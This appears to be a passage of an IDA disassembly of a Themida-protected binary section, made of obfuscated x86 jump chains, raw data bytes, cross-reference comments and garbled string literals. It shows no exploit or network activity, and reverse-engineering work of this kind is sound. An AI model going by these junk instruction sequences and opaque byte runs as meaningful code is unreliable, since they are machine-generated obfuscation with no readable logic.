		dd 81E78957h, 4C7h, 4EF8300h, 8B243C87h, 0FCE92424h, 81FFFFEAh
		dd 0AB3FB0EBh, 5BD989FFh, 0FF51C8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C2D1:				; CODE XREF: Themida_:0055BE3Dj
		mov	eax, esp
		push	ebp
		mov	ebp, 74A75119h
		jmp	loc_560EA9
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 5C241487h, 0FF7D15E9h, 0C3315DFFh, 0B60F66h, 2CB368h
		dd 241C8900h, 2434FF54h, 3C9E9h, 35EE8100h, 1065B20h, 8BC4E9C6h
		dd 0B4500000h, 60B195h,	0AEE958E1h
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C31F:				; CODE XREF: Themida_:00554277j
		mov	[esp], eax
		jmp	loc_562852
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 0E95A0000h, 7819h, 0FF4676E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C339:				; CODE XREF: Themida_:00553D32j
		add	ebp, 2
		jmp	loc_55AAD2
; ---------------------------------------------------------------------------


loc_55C341:				; CODE XREF: Themida_:0055DD9Bj
		add	esp, 4
		add	esp, 4
		jmp	loc_56329B
; ---------------------------------------------------------------------------
		db 0B9h
		dd 2E9B3BBCh, 0FE91E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C35A:				; CODE XREF: Themida_:0055F161j
		add	ebp, 0A656C135h
		jmp	loc_5581FE
; ---------------------------------------------------------------------------


loc_55C365:				; CODE XREF: Themida_:00559934j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_564949
; ---------------------------------------------------------------------------
		dd 0AB468h, 24048900h, 1DE5BA52h, 0C2812604h, 43D031EEh
		dd 0E906EAC1h, 28E1h, 43E9E821h, 56FFFF63h, 4BEh, 8BF00100h
		dd 0C4812434h, 4, 0E902C083h, 87D6h
; ---------------------------------------------------------------------------


loc_55C3B4:				; CODE XREF: Themida_:0055FB53j
		mov	[esp], ebp
		push	5751h
		mov	[esp], edx
		push	esi
		mov	esi, 47093E1Ah
		jmp	loc_564D57
; ---------------------------------------------------------------------------


loc_55C3CA:				; CODE XREF: Themida_:005650B5j
		add	edx, 4
		jmp	loc_550C7D
; ---------------------------------------------------------------------------


loc_55C3D2:				; CODE XREF: Themida_:00561053j
		pop	edi
		add	ebx, edx
		push	ecx
		mov	ecx, 7C4A7217h
		jmp	loc_551F44
; ---------------------------------------------------------------------------
		dd 4BD55h, 0EE010000h, 2434875Dh, 657AE95Ch, 487FFFFh
		dd 0FAE95C24h, 0F7000082h, 9235E9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C402:				; CODE XREF: Themida_:005620E6j
		mov	eax, 0F5C4C2C6h
		xor	edi, eax
		pop	eax
		add	ecx, edi
		pop	edi
		push	edx
		mov	edx, ecx
		mov	eax, edx
		pop	edx
		pop	ecx
		shl	eax, cl
		jmp	loc_555391
; ---------------------------------------------------------------------------


loc_55C41B:				; CODE XREF: Themida_:0055972Fj
		push	3E19h
		mov	[esp], esi
		jmp	loc_559247
; ---------------------------------------------------------------------------
		dd 5158C788h, 5352F988h, 0FE88CF88h, 9CE2E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C43A:				; CODE XREF: Themida_:005522F9j
		push	esp
		pop	ecx
		add	ecx, 4
		push	ebp
		jmp	loc_554270
; ---------------------------------------------------------------------------
		dd 5357BA52h, 0B951063Bh, 14A32CBAh, 8159CB29h,	983DD1C3h
		dd 81D3012Dh, 983DD1EBh, 0BAC3812Dh, 5A14A32Ch,	4509EB81h
		dd 4DE9574Dh, 55FFFFE8h, 9672E952h, 248BFFFFh, 1C770924h
		dd 6D71E95Eh, 20E90000h
		db 45h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C48F:				; CODE XREF: Themida_:00554914j
		mov	eax, 4
		add	ecx, 4844396Eh
		add	ecx, eax
		sub	ecx, 4844396Eh
		pop	eax
		jmp	loc_55A979
; ---------------------------------------------------------------------------
		dd 0D44CDAB8h, 0E9C70149h, 1198h, 8395C780h, 896602ECh
		dd 0BBB5240Ch, 51E9EF30h
		db 7Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C4C7:				; CODE XREF: Themida_:00553D11j
		add	esi, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_5562FC
; ---------------------------------------------------------------------------
		db 1, 0F0h, 5
		dd 3B8552DDh, 2404335Eh, 0FF616CE9h, 240C89FFh,	1E9E189h
		dd 81000065h, 254DF7E6h, 4EC6811Ah, 89193F09h, 19EBE9F3h
		dd 0D8280000h, 8368FE04h, 89000049h, 0EC81241Ch, 4, 0B4240489h
		dd 30B6B75Ah, 80FCE9E7h
		db 2 dup(0FFh)
word_55C52E	dw 34FFh		; DATA XREF: Themida_:0055085Co
		dd 24048B24h, 4C481h, 0F2E90000h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C53F:				; CODE XREF: Themida_:00561A3Fj
		movzx	eax, ax
		jmp	loc_561D8E
; ---------------------------------------------------------------------------


loc_55C547:				; CODE XREF: Themida_:00559CA5j
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_557D6B
; ---------------------------------------------------------------------------


loc_55C550:				; CODE XREF: Themida_:005599E3j
		pop	edi
		pop	ebp
		add	esi, edi
		jmp	loc_56547E
; ---------------------------------------------------------------------------
		db 5Ah,	50h, 0B8h
		dd 49B129E8h, 8158C201h, 0B232FDC2h, 9B8BE9E7h,	408FFFFh
		dd 38E99C24h, 0B8FFFF44h, 7DED348Dh, 5207E8C1h,	2EEAE9h
		db 0
; ---------------------------------------------------------------------------


loc_55C585:				; CODE XREF: Themida_:00551E6Dj
		pop	bp
		jmp	loc_56137E
; ---------------------------------------------------------------------------
		dd 57241489h, 0D0076EBFh, 1E1BBA64h, 0FA297C4Ch, 5E2C15Fh
		dd 0FFA50BE9h, 242C87FFh, 0E924248Bh, 0FFFF43FFh, 89E95F5Fh
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C5B7:				; CODE XREF: Themida_:00553C36j
		mov	edi, 6FE57301h
		sub	edi, 3BB536D8h
		jmp	loc_554C1B
; ---------------------------------------------------------------------------
aISpb		db '┴<$ИpB',0
		db 0
; ---------------------------------------------------------------------------


loc_55C5CF:				; CODE XREF: Themida_:00558D35j
		pop	ebp
		sub	esi, 0A5376FEh
		push	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5573B3
; ---------------------------------------------------------------------------
aTse		db 'яБИ╔"',0
		dw 0E900h
		dd 0FFFF43B7h
; ---------------------------------------------------------------------------


loc_55C5F8:				; CODE XREF: Themida_:005516BDj
		mov	esi, ebx
		push	edi
		push	ebx
		push	1B69h
		jmp	loc_563473
; ---------------------------------------------------------------------------
		dw 0C87h
		db 24h,	5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5594A6
; ---------------------------------------------------------------------------


loc_55C612:				; CODE XREF: Themida_:00559EE7j
		push	ecx
		mov	ecx, 4A7D602Fh
		dec	ecx
		xor	ecx, 4A7D602Ah
		add	ebp, ecx
		pop	ecx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 2
		add	eax, 3D8D47ECh
		jmp	loc_551930
; ---------------------------------------------------------------------------
		dw 487h
		dd 14895C24h, 59B8BA24h, 0C6E91056h, 89FFFFC1h,	4C381E3h
		dd 83000000h, 1C8704C3h, 0B8505C24h, 101972EDh,	0B9252025h
		dd 40D8F730h, 3F9BF57h,	0F8096D6Eh, 5432055Fh, 0D2E92E3Bh
		dd 8B000094h, 25E92424h, 5CFFFF63h, 3FAAE9h
		db 0
; ---------------------------------------------------------------------------


loc_55C68D:				; CODE XREF: Themida_:00553F2Bj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_561917
; ---------------------------------------------------------------------------
		db 51h
		dd 3920FA68h, 0F1E9591Fh, 91FFFFE3h, 2414F751h,	0F3E99159h
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C6B3:				; CODE XREF: Themida_:0055EA10j
		add	esp, 4
		add	ebp, ebx
		pop	ebx
		pop	eax
		add	ebp, 2
		xchg	ebp, [esp]
		mov	esp, [esp]
		idiv	cl
		movzx	cx, ah
		jmp	loc_553046
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 68000000h,	6283h, 0FFCA8DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C6E1:				; CODE XREF: Themida_:00559C6Ej
		sub	esp, 4
		jmp	loc_55F610
; ---------------------------------------------------------------------------


loc_55C6EC:				; CODE XREF: Themida_:0055F6E7j
		push	ebp
		mov	ebp, 1C3164E9h
		and	esi, ebp
		pop	ebp
		push	92Ah
		mov	[esp], ebx
		mov	ebx, 778F309Ah
		shl	ebx, 2
		dec	ebx
		jmp	loc_559882
; ---------------------------------------------------------------------------
		db 68h
		dd 4, 0FFC3815Dh, 16BF22Bh, 0DEBE56EBh,	0E93B4B20h, 8B21h
; ---------------------------------------------------------------------------


loc_55C724:				; CODE XREF: Themida_:0055B0DFj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_557D82
; ---------------------------------------------------------------------------


loc_55C731:				; CODE XREF: Themida_:0055F563j
		not	ecx
		shl	ecx, 4
		not	ecx
		jmp	loc_55FCC0
; ---------------------------------------------------------------------------
		db 1, 0D8h, 5Bh
		dd 0E9240487h, 0FFFFD2CCh
; ---------------------------------------------------------------------------


loc_55C748:				; CODE XREF: Themida_:00564792j
		mov	edi, [esp]
		push	134Bh
		mov	[esp], ebx
		push	esp
		jmp	loc_5582A4
; ---------------------------------------------------------------------------


loc_55C759:				; CODE XREF: Themida_:00557298j
		add	esp, 4
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		push	2959h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 47C126B4h
		jmp	loc_560CB5
; ---------------------------------------------------------------------------
		db 88h
		dd 0CCFE5AF4h, 5866E188h, 80F3F180h, 0E2040EE9h, 0EC83C828h
		dd 0C896602h, 0C0F4B524h, 536607E5h, 471EE9h
		db 0
byte_55C7B1	db 66h,	0Fh, 0B6h	; DATA XREF: Themida_:005508E4o
		dd 31686602h, 489664Eh,	24EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C7C2:				; CODE XREF: Themida_:0055CD08j
		sub	edi, ecx
		pop	ecx
		add	edi, 57939F5h
		pop	esi
		xchg	edi, [esp]
		mov	esp, [esp]
		push	325Ah
		mov	[esp], ecx
		jmp	loc_55DD35
; ---------------------------------------------------------------------------
		db 31h
		dd 0EA815EF2h, 3CA211FCh, 6804E2C1h, 2E19h, 0F7241489h
		dd 5EE92414h, 80FFFFFDh, 0D3282DEBh, 0E92DC380h, 197Dh
dword_55C808	dd 0DD885166h, 2245C8Ah, 2246C88h, 53525966h, 0FA88EF88h
					; DATA XREF: Themida_:00550878o
		dd 88DD885Bh, 0D5F65AD3h, 88EA8852h, 0D9F1E9DDh
		db 2 dup(0FFh)
word_55C82E	dw 8B66h		; DATA XREF: Themida_:00550714o
		dd 0E951240Ch, 0FFFF94FEh, 0C104C483h, 0DAF703EAh, 0FF57A3E9h
		dd 8BC589FFh, 0C4832404h, 65F2E904h, 0C4810000h, 4, 53BDE956h
		dd 0C8BFFFFh, 0E6895624h, 4C681h, 0C6830000h, 24348704h
		dd 7C58E95Ch, 4830000h,	83E90424h, 5EFFFFDAh, 2C1BE681h
		dd 0EE815793h, 341CB4DCh, 0FF75E7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C891:				; CODE XREF: Themida_:00556348j
		push	edx
		push	esp
		jmp	loc_552706
; ---------------------------------------------------------------------------
		dd 8956C300h, 4C681E6h,	83000000h, 343304EEh, 24343124h
		dd 5C243433h, 0FFCB69E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C8B5:				; CODE XREF: Themida_:0055DC3Aj
		push	dword ptr [esp]
		jmp	loc_55422D
; ---------------------------------------------------------------------------


loc_55C8BD:				; CODE XREF: Themida_:00558A73j
		pop	esp
		add	esp, 4
		jmp	loc_562FE3
; ---------------------------------------------------------------------------


loc_55C8C9:				; CODE XREF: Themida_:005603A0j
		pop	edx
		jmp	loc_551755
; ---------------------------------------------------------------------------


loc_55C8CF:				; CODE XREF: Themida_:00559D50j
		add	ebp, 0FFFFFFFFh
		add	ebp, 77FC7896h
		jmp	loc_559DD8
; ---------------------------------------------------------------------------


loc_55C8DD:				; CODE XREF: Themida_:00552563j
		push	2A1Dh
		mov	[esp], ecx
		mov	ecx, 0F2B83599h
		add	eax, ecx
		pop	ecx
		sub	edx, eax
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, edx
		jmp	loc_553884
; ---------------------------------------------------------------------------
		dw 0E945h
		dd 0FFFF410Eh, 4C381h, 23680000h, 0E9000066h, 0FFFFB0E9h
		dd 8095F280h, 0DE95DEAh
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C93B:				; CODE XREF: Themida_:00554145j
		add	esp, 4
		jmp	loc_55A247
; ---------------------------------------------------------------------------
		db 33h
		dd 0B9E92404h, 8700002Dh, 585C241Ch, 9243E9h, 0FA895F00h
		dd 5F91E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C95D:				; CODE XREF: Themida_:00565B89j
		mov	edi, edx
		pop	edx
		pop	ebx
		push	edx
		jmp	loc_5563DF
; ---------------------------------------------------------------------------
		db 50h
		dd 31231B8h, 8150532Eh,	17E12404h, 69E92C8Fh
		db 0C7h, 2 dup(0FFh)
byte_55C97B	db 66h			; DATA XREF: Themida_:00550874o
		dd 5524048Bh, 0BE565D54h, 4, 254FC581h,	0C5811DA2h, 387124BEh
		dd 191EED81h, 0F5013D1Ah, 191EC581h, 0ED813D1Ah, 387124BEh
		dd 54C7B951h, 0E9570321h, 3C67h, 0E9242489h, 60F6h, 0C530D9B0h
		dd 0EDC05866h, 9E7CE906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C9CA:				; CODE XREF: Themida_:00553284j
		pop	esp
		mov	[esp], eax
		jmp	loc_564661
; ---------------------------------------------------------------------------
		db 81h
		dd 0CC54B9F2h, 5AD721C4h, 70F9CF81h, 0CF876780h, 415AE9h
		dd 8BF13100h, 0C4832434h, 80E18104h, 8168D353h,	320167E9h
		dd 51BEE9F9h, 5E58FFFFh, 4C7EE9h, 0E95B6600h, 0FFFFC145h
		dd 0FF3F9AE9h, 243C8BFFh, 0D04C483h, 6D184DAAh,	0D8234C2Dh
		dd 58C58941h, 45E9E5D1h, 5EFFFFD0h, 4EEE9h, 24348B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	3377h
		mov	[esp], eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_555150
; ---------------------------------------------------------------------------


loc_55CA74:				; CODE XREF: Themida_:005643A8j
		pop	edx
		add	esi, 354059B9h
		push	757Eh
		jmp	loc_5626D8
; ---------------------------------------------------------------------------
aQtysq		db 'QTYИ÷',0Ah,0
		dd 0B9514E00h, 196533CBh, 0C8BCE09h, 4C48324h, 0FFFBF681h
		dd 0BA68FDFFh, 8900002Ah, 0E2892414h, 4C281h, 0EA810000h
		dd 4, 9F3CE952h, 5652FFFFh, 17325068h, 24348B01h, 4C481h
		dd 0F2890000h, 8B2434FFh, 0C4812434h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		xchg	ebp, edx
		neg	ebp
		xor	edx, ebp
		xor	ebp, edx
		xor	edx, ebp
		jmp	loc_553D16
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F580424h, 248B2404h, 4EC8124h, 0E9000000h, 0FFFFB9DBh
		dd 89243C89h, 4C781E7h,	0E9000000h, 0FFFF702Fh,	0A199C181h
		dd 0CB0905E2h, 4BEB8159h, 4B4BB210h, 11A0E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CB41:				; CODE XREF: Themida_:00554CD3j
		mov	[esp], edi
		mov	edi, 762F60C2h
		jmp	loc_55D9CA
; ---------------------------------------------------------------------------


loc_55CB4E:				; CODE XREF: Themida_:005516CAj
		add	ebx, 35501844h
		dec	ebx
		or	ebx, 29013197h
		not	ebx
		push	ebp
		jmp	loc_552DF5
; ---------------------------------------------------------------------------


loc_55CB63:				; CODE XREF: Themida_:00559506j
		push	7DD1h
		mov	[esp], ecx
		push	ebp
		mov	ebp, 1D3F3291h
		or	ebp, 58454D54h
		sub	ebp, 0ACB703Ch
		jmp	loc_551471
; ---------------------------------------------------------------------------


loc_55CB82:				; CODE XREF: Themida_:0055D3C3j
		add	esp, 4
		add	edx, 1
		jmp	loc_559CE7
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd offset dword_4F6844+724h
		dd 24048900h, 86685854h, 0E9000046h, 7DFCh, 0BB241C89h
		dd 4, 4245C01h,	0E9241C8Bh, 0FFFFC4B0h,	3542C381h, 34FF6935h
		dd 68F2E924h, 0C4810000h, 4, 8B24048Fh,	3CD32424h, 0D4E99C24h
		db 3Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CBDB:				; CODE XREF: Themida_:00557714j
		sub	esi, edx
		add	esi, 3BBA4522h
		pop	edx
		xor	esi, 4B590B62h
		jmp	loc_555363
; ---------------------------------------------------------------------------
		db 51h
		dd 0FF809DE9h, 383905FFh, 0F8012B2Bh, 0FF96DEE9h, 44E950FFh
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CC07:				; CODE XREF: Themida_:00554122j
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_55D0F5
; ---------------------------------------------------------------------------
		dd 4055854h, 0E9000000h, 0FFFFA89Eh
; ---------------------------------------------------------------------------


loc_55CC30:				; CODE XREF: Themida_:0055D6C5j
		xor	edx, 8068C894h
		xor	edi, edx
		pop	edx
		add	edi, 0FFFFFFFFh
		jmp	loc_55EBF4
; ---------------------------------------------------------------------------
		db 0FEh, 0C0h, 4
		dd 41C3E9F9h
		db 2 dup(0FFh)
word_55CC4A	dw 68ADh		; DATA XREF: Themida_:00550824o
		dd 1AE6h, 0FF6360E9h, 243C8BFFh, 4C481h, 2C8B0000h, 4C48324h
		dd 685BD831h, 3D77h, 83243C89h,	148904ECh, 5DE95124h, 0FF000014h
		dd 0E9042474h, 0FFFF9EABh
; ---------------------------------------------------------------------------


loc_55CC84:				; CODE XREF: Themida_:00558407j
		xor	dword ptr [esp], 5AFB7A9Eh
		pop	edx
		xor	edx, 5AFB7A9Eh
		pop	ebx
		push	eax
		push	ecx
		jmp	loc_56178F
; ---------------------------------------------------------------------------
		dw 555Ah
		dd 0EA7E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CCA1:				; CODE XREF: Themida_:0055904Fj
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	17BAh
		mov	[esp], ecx
		push	ebx
		jmp	loc_552052
; ---------------------------------------------------------------------------


loc_55CCC2:				; CODE XREF: Themida_:005518A9j
		and	eax, 6A175016h
		dec	eax
		and	eax, 20CC52D3h
		not	eax
		inc	eax
		add	eax, 417E7788h
		sub	edx, eax
		jmp	loc_5631E0
; ---------------------------------------------------------------------------
		dd 25B8EA81h, 0EA81651Ah, 4AB01837h, 0C281FA01h, 4AB01837h
		dd 5F7AB850h, 3E05130Eh, 0E9520BC6h, 36EDh
; ---------------------------------------------------------------------------


loc_55CD00:				; CODE XREF: Themida_:0055A2A2j
		add	edi, esi
		push	ecx
		mov	ecx, 28F626A4h
		jmp	loc_55C7C2
; ---------------------------------------------------------------------------
		db 53h,	2 dup(0BBh)
		dd 5230647Eh, 0BC5418BAh, 6781E95Ah, 56B10000h,	2847E980h
		dd 8E6859CAh, 8900000Ch, 7BB7241Ch, 0C004E7C0h,	0CFFE06EFh
		dd 9E28E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CD3E:				; CODE XREF: Themida_:0055391Cj
		push	ebx
		jmp	loc_55E85B
; ---------------------------------------------------------------------------
		dd 6BC8C781h, 0FE01BD03h, 0FFF5015Fh, 348B2434h, 4C48324h
		dd 6F7EE9h, 240C8B00h, 2904C483h, 5EB3E9D1h, 0C4810000h
		dd 4, 6DC7F681h, 0B95152B9h, 6A8E13BDh,	0C8BCE31h, 0E2895224h
		dd 4C281h, 0C3E90000h, 29FFFF9Ch, 0E90158C1h, 77FCC181h
		dd 2C8B7088h, 75CAE924h, 8B680000h, 89000002h, 2CB82404h
		dd 0E9553322h, 7FDAh
; ---------------------------------------------------------------------------


loc_55CDB4:				; CODE XREF: Themida_:00555567j
		shl	edi, 4
		jmp	loc_554A2D
; ---------------------------------------------------------------------------
		dd 592FBDBDh, 0D4F5813Bh, 811E9814h, 0FFFFFFC5h, 4E5C1FFh
		dd 471ECD81h, 0ED81521Ch, 301CE56Dh, 625AEB81h,	0EB013656h
		dd 10D6BF57h, 0DFF70453h, 8CD0EF81h, 0FB01C556h, 8064E95Fh
		dd 0C5810000h, 4, 0E904C583h, 7CFh, 4C56E952h, 5D54FFFFh
		dd 4C581h, 0C5810000h, 4, 0FF6D56E9h, 81E389FFh, 4C3h
		dd 877CE900h
		db 2 dup(0FFh)
word_55CE2E	dw 68ADh		; DATA XREF: Themida_:00550804o
		dd 16E4h, 0FF5A9BE9h, 0E8C281FFh, 812DFF25h, 0E1B508EAh
		dd 5AD10127h, 215EB81h,	0CB295AF7h, 215C381h, 0C8B5AF7h
		dd 4C48124h, 8B000000h,	6E92434h, 57FFFFF4h, 875849BFh
		dd 0A7B9BA31h, 0FA01CE78h, 7058E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CE7A:				; CODE XREF: Themida_:0055B4ABj
		pop	eax
		not	dh
		and	dh, 0D5h
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 94h
		sub	cl, 9Dh
		sub	cl, 0A4h
		sub	cl, 0Ah
		jmp	loc_555009
; ---------------------------------------------------------------------------
aVho		db 'VhO)',0
		align 4
		dd 52242489h, 0FF6BE0E9h, 0E9D3F6FFh, 16DDh, 80C30058h
		dd 5856C3h, 0B25250C3h,	8BD488D0h, 0C4832414h, 7195E904h
		dd 0EE810000h, 18F7E535h, 24E9F789h, 66FFFFDAh,	280EB252h
		dd 0E95A66D0h, 0FFFFEE48h, 0C158C329h, 0D3F705E3h, 7B5BC381h
		dd 0DBE95893h, 52FFFFC5h, 0C281E289h, 4, 4EA81h, 14870000h
		dd 24248B24h, 54240C89h, 4E95759h, 5100003Bh, 3C56E9h
		dd 4B900h, 59E90000h, 31000047h, 8A31E9E8h, 0E953FFFFh
		dd 71E9h
; ---------------------------------------------------------------------------


loc_55CF30:				; CODE XREF: Themida_:0056178Aj
		mov	ebp, 6F0D5D08h
		sub	ebp, 4F105BE1h
		not	ebp
		add	ebp, 37365172h
		jmp	loc_55D70E
; ---------------------------------------------------------------------------
		dd 206C6852h, 0E95A7841h, 0E0Ch, 4C181h, 0BE90000h, 58FFFF81h
		dd 8247C01h, 9D0E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CF69:				; CODE XREF: Themida_:0055C12Aj
		pop	ebx
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		jmp	loc_551281
; ---------------------------------------------------------------------------
aAVhi		db '─цvhI>',0
		align 4
		dd 68240489h, 0EC4h, 0B2241489h, 17B050D2h, 0FFF1A4E9h
		dd 0E1C141FFh, 81D1F705h, 18EADE9h, 59CA29DCh, 5DD8C281h
		dd 0FAE903CCh
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CFB3:				; CODE XREF: Themida_:00562FD7j
		add	edi, 3C8533BCh
		pop	ebp
		add	edi, 4
		jmp	loc_55414A
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 8B04C483h, 25E9241Ch, 5CFFFF97h, 3AB3E9h, 24343300h
		dd 0FFA673E9h, 4B850FFh, 1000000h, 348758C6h, 24248B24h
		dd 8B243C87h, 1C892424h, 515B5424h, 468h, 0CB015900h, 81240C8Bh
		dd 4C4h, 0E1895100h, 4C181h, 0E9570000h, 0FFFF9A6Eh
dword_55D01C	dd 24048B66h, 72A068h, 243C8900h, 2434FF54h, 0E189515Fh
					; DATA XREF: Themida_:00550964o
		dd 34B95156h, 0BE45A776h, 45A77638h, 7E22EE81h,	0CE292BEBh
		dd 7E22C681h, 57592BEBh, 607207BFh, 0D3E78138h,	813B6C72h
		dd 18F8EBEFh, 0C6E981CFh, 0E9045D23h, 5146h, 4EE81h, 0DB680000h
		dd 89000056h, 74FF2434h, 348B0424h, 4C48124h, 8F000000h
		dd 895C2404h, 8EB1240Ch, 6866DEB7h, 0DE965E7h, 53000039h
		dd 8817E9h, 1819B900h, 0CA0162CCh, 0FF50E2E9h, 51D6F6FFh
		dd 0C9FE06B1h, 0E904E1C0h, 0FFFF84C2h, 4347B850h, 0FDE930F7h
		dd 83FFFF4Fh, 0C48304C4h, 24048F04h, 2404005Ch,	4F89E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D0D6:				; CODE XREF: Themida_:00552ED0j
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		jmp	loc_561BAF
; ---------------------------------------------------------------------------


loc_55D0E9:				; CODE XREF: Themida_:005648A4j
		pop	edx
		xor	edx, 3C90145Bh
		jmp	loc_562C03
; ---------------------------------------------------------------------------


loc_55D0F5:				; CODE XREF: Themida_:0055CC1Fj
		add	dword ptr [esp], 4
		jmp	loc_5607E7
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 42474FFh, 8324048Bh,	48F04C4h, 24248B24h, 64BD6857h
		dd 15F0207h, 0FF04247Ch, 685F2434h, 279h, 68242C89h, 295Ch
		dd 83242489h, 5D042404h, 0FFFCBDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D13D:				; CODE XREF: Themida_:0055A21Aj
		pop	ebp
		add	esp, 4
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		mov	ebp, 4FE14B1Fh
		mov	ecx, ebp
		jmp	loc_559798
; ---------------------------------------------------------------------------
		dw 8E2Ch
		dd 0DEE9D800h
		db 3Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D167:				; CODE XREF: Themida_:00553B9Cj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	26E9h
		mov	[esp], edx
		push	6F88h
		mov	[esp], esp
		push	eax
		push	4
		pop	eax
		add	[esp+4], eax
		jmp	loc_559D55
; ---------------------------------------------------------------------------


loc_55D194:				; CODE XREF: Themida_:0055B947j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 4F7274F5h
		jmp	loc_55D301
; ---------------------------------------------------------------------------
		dd 81241C8Bh, 4C4h, 3EBC100h, 8103EBC1h, 48C097F3h, 0E9DA8901h
		dd 0FFFF6523h, 0BE243489h, 2, 0D27D4605h, 542CE902h, 0ACB8FFFFh
		dd 4810411Dh, 25FFC083h, 41E97464h, 25643805h, 58C50132h
		dd 594DE9h, 24048F00h, 431665Ch, 0B0E99C24h
		db 37h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D1FF:				; CODE XREF: Themida_:00552591j
		pop	edx
		jmp	loc_564127
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0BD242C89h, 2, 335DEA01h, 14312414h,	24143324h, 0E924248Bh
		dd 297Fh, 94F7E958h, 0EC81FFFFh, 4, 0FF60A9E9h,	4EC81FFh
		dd 0E9000000h, 7AD9h
dword_55D240	dd 24048B66h		; DATA XREF: Themida_:005507E0o
		db 56h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_551D7E
; ---------------------------------------------------------------------------
aVsl8		db '\VИl8',0
		align 10h
		dd 5CAABE56h, 0EE81726Ch, 65E0D19h, 3B9BE9h, 2E7C100h
		dd 1871E9h, 5E5C100h, 53C6E956h, 0FB29FFFFh, 1467BA52h
		dd 43E95540h, 0BBFFFFACh, 0AFF2A8FDh, 0FF9B16E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D299:				; CODE XREF: Themida_:00555F18j
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
